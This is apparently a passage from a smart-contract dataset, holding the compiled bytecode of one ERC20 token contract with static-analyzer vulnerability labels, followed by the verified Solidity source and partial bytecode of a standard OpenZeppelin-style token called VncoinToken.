000000000000000000000000000000000000081526004016118869061313f565b60405180910390fd5b5b5b6013548111156118a057600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119445750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61194d57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119f85750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a665750601260179054906101000a900460ff165b15611b075742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ab657600080fd5b600a42611ac39190613295565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611b1230610e7a565b9050601260159054906101000a900460ff16158015611b7f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b975750601260169054906101000a900460ff165b15611bbf57611ba581611f09565b60004790506000811115611bbd57611bbc47611ce8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c685750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c7257600090505b611c7e84848484612256565b50505050565b6000838311158290611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc39190612fbd565b60405180910390fd5b5060008385611cdb9190613376565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4c6004611d3e6009548661220c90919063ffffffff16565b61219190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d77573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ddc6003611dce6009548661220c90919063ffffffff16565b61219190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e07573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6c6003611e5e6009548661220c90919063ffffffff16565b61219190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e97573d6000803e3d6000fd5b5050565b6000600654821115611ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed99061301f565b60405180910390fd5b6000611eec612283565b9050611f01818461220c90919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f4157611f4061354b565b5b604051908082528060200260200182016040528015611f6f5781602001602082028036833780820191505090505b5090503081600081518110611f8757611f8661351c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561202957600080fd5b505afa15801561203d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120619190612a04565b816001815181106120755761207461351c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120dc30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fa565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214095949392919061317a565b600060405180830381600087803b15801561215a57600080fd5b505af115801561216e573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b6000808314156121a45760009050612206565b600082846121b2919061331c565b90508284826121c191906132eb565b14612201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f89061309f565b60405180910390fd5b809150505b92915050565b600061224e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122ae565b905092915050565b8061226457612263612311565b5b61226f848484612354565b8061227d5761227c61251f565b5b50505050565b6000806000612290612533565b915091506122a7818361220c90919063ffffffff16565b9250505090565b600080831182906122f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ec9190612fbd565b60405180910390fd5b506000838561230491906132eb565b9050809150509392505050565b600060085414801561232557506000600954145b1561232f57612352565b600954600b81905550600854600a81905550600060088190555060006009819055505b565b60008060008060008061236687612595565b9550955095509550955095506123c486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125fd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a5816126a5565b6124af8483612762565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161250c919061315f565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b600080600060065490506000683635c9adc5dea000009050612569683635c9adc5dea0000060065461220c90919063ffffffff16565b82101561258857600654683635c9adc5dea00000935093505050612591565b81819350935050505b9091565b60008060008060008060008060006125b28a60085460095461279c565b92509250925060006125c2612283565b905060008060006125d58e878787612832565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061263f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c84565b905092915050565b60008082846126569190613295565b90508381101561269b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126929061305f565b60405180910390fd5b8091505092915050565b60006126af612283565b905060006126c6828461219190919063ffffffff16565b905061271a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612777826006546125fd90919063ffffffff16565b6006819055506127928160075461264790919063ffffffff16565b6007819055505050565b6000806000806127c860646127ba888a61219190919063ffffffff16565b61220c90919063ffffffff16565b905060006127f260646127e4888b61219190919063ffffffff16565b61220c90919063ffffffff16565b9050600061281b8261280d858c6125fd90919063ffffffff16565b6125fd90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061284b858961219190919063ffffffff16565b90506000612862868961219190919063ffffffff16565b90506000612879878961219190919063ffffffff16565b905060006128a28261289485876125fd90919063ffffffff16565b6125fd90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128ce6128c984613214565b6131ef565b905080838252602082019050828560208602820111156128f1576128f061357f565b5b60005b858110156129215781612907888261292b565b8452602084019350602083019250506001810190506128f4565b5050509392505050565b60008135905061293a81613895565b92915050565b60008151905061294f81613895565b92915050565b600082601f83011261296a5761296961357a565b5b813561297a8482602086016128bb565b91505092915050565b600081359050612992816138ac565b92915050565b6000815190506129a7816138ac565b92915050565b6000813590506129bc816138c3565b92915050565b6000815190506129d1816138c3565b92915050565b6000602082840312156129ed576129ec613589565b5b60006129fb8482850161292b565b91505092915050565b600060208284031215612a1a57612a19613589565b5b6000612a2884828501612940565b91505092915050565b60008060408385031215612a4857612a47613589565b5b6000612a568582860161292b565b9250506020612a678582860161292b565b9150509250929050565b600080600060608486031215612a8a57612a89613589565b5b6000612a988682870161292b565b9350506020612aa98682870161292b565b9250506040612aba868287016129ad565b9150509250925092565b60008060408385031215612adb57612ada613589565b5b6000612ae98582860161292b565b9250506020612afa858286016129ad565b9150509250929050565b600060208284031215612b1a57612b19613589565b5b600082013567ffffffffffffffff811115612b3857612b37613584565b5b612b4484828501612955565b91505092915050565b600060208284031215612b6357612b62613589565b5b6000612b7184828501612983565b91505092915050565b600060208284031215612b9057612b8f613589565b5b6000612b9e84828501612998565b91505092915050565b600060208284031215612bbd57612bbc613589565b5b6000612bcb848285016129ad565b91505092915050565b600080600060608486031215612bed57612bec613589565b5b6000612bfb868287016129c2565b9350506020612c0c868287016129c2565b9250506040612c1d868287016129c2565b9150509250925092565b6000612c338383612c3f565b60208301905092915050565b612c48816133aa565b82525050565b612c57816133aa565b82525050565b6000612c6882613250565b612c728185613273565b9350612c7d83613240565b8060005b83811015612cae578151612c958882612c27565b9750612ca083613266565b925050600181019050612c81565b5085935050505092915050565b612cc4816133bc565b82525050565b612cd3816133ff565b82525050565b6000612ce48261325b565b612cee8185613284565b9350612cfe818560208601613411565b612d078161358e565b840191505092915050565b6000612d1f602383613284565b9150612d2a8261359f565b604082019050919050565b6000612d42601a83613284565b9150612d4d826135ee565b602082019050919050565b6000612d65602a83613284565b9150612d7082613617565b604082019050919050565b6000612d88602283613284565b9150612d9382613666565b604082019050919050565b6000612dab601b83613284565b9150612db6826136b5565b602082019050919050565b6000612dce601d83613284565b9150612dd9826136de565b602082019050919050565b6000612df1602183613284565b9150612dfc82613707565b604082019050919050565b6000612e14602083613284565b9150612e1f82613756565b602082019050919050565b6000612e37602983613284565b9150612e428261377f565b604082019050919050565b6000612e5a602583613284565b9150612e65826137ce565b604082019050919050565b6000612e7d602483613284565b9150612e888261381d565b604082019050919050565b6000612ea0601183613284565b9150612eab8261386c565b602082019050919050565b612ebf816133e8565b82525050565b612ece816133f2565b82525050565b6000602082019050612ee96000830184612c4e565b92915050565b6000604082019050612f046000830185612c4e565b612f116020830184612c4e565b9392505050565b6000604082019050612f2d6000830185612c4e565b612f3a6020830184612eb6565b9392505050565b600060c082019050612f566000830189612c4e565b612f636020830188612eb6565b612f706040830187612cca565b612f7d6060830186612cca565b612f8a6080830185612c4e565b612f9760a0830184612eb6565b979650505050505050565b6000602082019050612fb76000830184612cbb565b92915050565b60006020820190508181036000830152612fd78184612cd9565b905092915050565b60006020820190508181036000830152612ff881612d12565b9050919050565b6000602082019050818103600083015261301881612d35565b9050919050565b6000602082019050818103600083015261303881612d58565b9050919050565b6000602082019050818103600083015261305881612d7b565b9050919050565b6000602082019050818103600083015261307881612d9e565b9050919050565b6000602082019050818103600083015261309881612dc1565b9050919050565b600060208201905081810360008301526130b881612de4565b9050919050565b600060208201905081810360008301526130d881612e07565b9050919050565b600060208201905081810360008301526130f881612e2a565b9050919050565b6000602082019050818103600083015261311881612e4d565b9050919050565b6000602082019050818103600083015261313881612e70565b9050919050565b6000602082019050818103600083015261315881612e93565b9050919050565b60006020820190506131746000830184612eb6565b92915050565b600060a08201905061318f6000830188612eb6565b61319c6020830187612cca565b81810360408301526131ae8186612c5d565b90506131bd6060830185612c4e565b6131ca6080830184612eb6565b9695505050505050565b60006020820190506131e96000830184612ec5565b92915050565b60006131f961320a565b90506132058282613444565b919050565b6000604051905090565b600067ffffffffffffffff82111561322f5761322e61354b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132a0826133e8565b91506132ab836133e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132e0576132df6134be565b5b828201905092915050565b60006132f6826133e8565b9150613301836133e8565b925082613311576133106134ed565b5b828204905092915050565b6000613327826133e8565b9150613332836133e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561336b5761336a6134be565b5b828202905092915050565b6000613381826133e8565b915061338c836133e8565b92508282101561339f5761339e6134be565b5b828203905092915050565b60006133b5826133c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061340a826133e8565b9050919050565b60005b8381101561342f578082015181840152602081019050613414565b8381111561343e576000848401525b50505050565b61344d8261358e565b810181811067ffffffffffffffff8211171561346c5761346b61354b565b5b80604052505050565b6000613480826133e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134b3576134b26134be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61389e816133aa565b81146138a957600080fd5b50565b6138b5816133bc565b81146138c057600080fd5b50565b6138cc816133e8565b81146138d757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023dc6469af1b123bef44122215028784b19d335e88adecafde765ef1fc9128ff64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,336
0x61a0ecd728189d7c8c3554688bc25a05bfe2efb3
/** *Submitted for verification at Etherscan.io on 2021-04-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract VncoinToken is ERC20 { constructor (string memory name_, string memory symbol_,uint256 amount,address account) ERC20(name_, symbol_) { _mint(account, amount * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b925050